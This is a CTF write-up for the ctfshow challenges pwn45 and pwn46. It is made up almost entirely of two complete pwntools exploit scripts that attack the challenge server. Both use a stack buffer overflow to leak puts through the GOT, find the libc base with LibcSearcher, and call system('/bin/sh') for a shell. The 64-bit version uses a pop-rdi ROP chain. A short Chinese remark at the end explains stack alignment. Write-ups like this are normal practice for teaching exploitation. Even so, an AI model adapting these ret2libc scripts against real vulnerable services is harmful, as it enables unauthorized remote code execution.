ctfshow pwn45~46

pwn 45

from pwn import *
from LibcSearcher import *

elf_path = './pwn'
elf = ELF(elf_path)
p = remote('pwn.challenge.ctf.show', 28115)

padding = 0x6B+4
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ctfshow = elf.sym['ctfshow']

payload = flat([cyclic(padding), puts_plt, ctfshow, puts_got])
p.sendline(payload)

real_addr = u32(p.recvuntil(b'\xf7')[-4:])
libc = LibcSearcher("puts", real_addr)
libc_base = real_addr - libc.dump('puts')
system_addr = libc.dump('system') + libc_base
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = flat([cyclic(padding), system_addr, b'a'*4, bin_sh])
p.sendline(payload)
p.interactive()

pwn46

from pwn import *
from LibcSearcher import LibcSearcher

elf = ELF('./pwn46')
p = remote('pwn.challenge.ctf.show', 28171)
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
ctfshow_addr = elf.symbols['ctfshow']

offset = 0x70 + 8
ret_addr = 0x4004fe
rdi_ret = 0x400803

payload = offset*b'a'+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(ctfshow_addr)
p.sendline(payload)

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')

system_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
payload = offset*b'a'+p64(ret_addr)+p64(rdi_ret)+p64(bin_sh_addr)+p64(system_addr)+p64(ctfshow_addr)
p.sendline(payload)
p.interactive()

第一个payload不需要ret，因为puts函数对栈平衡的要求不高，加了反而崩溃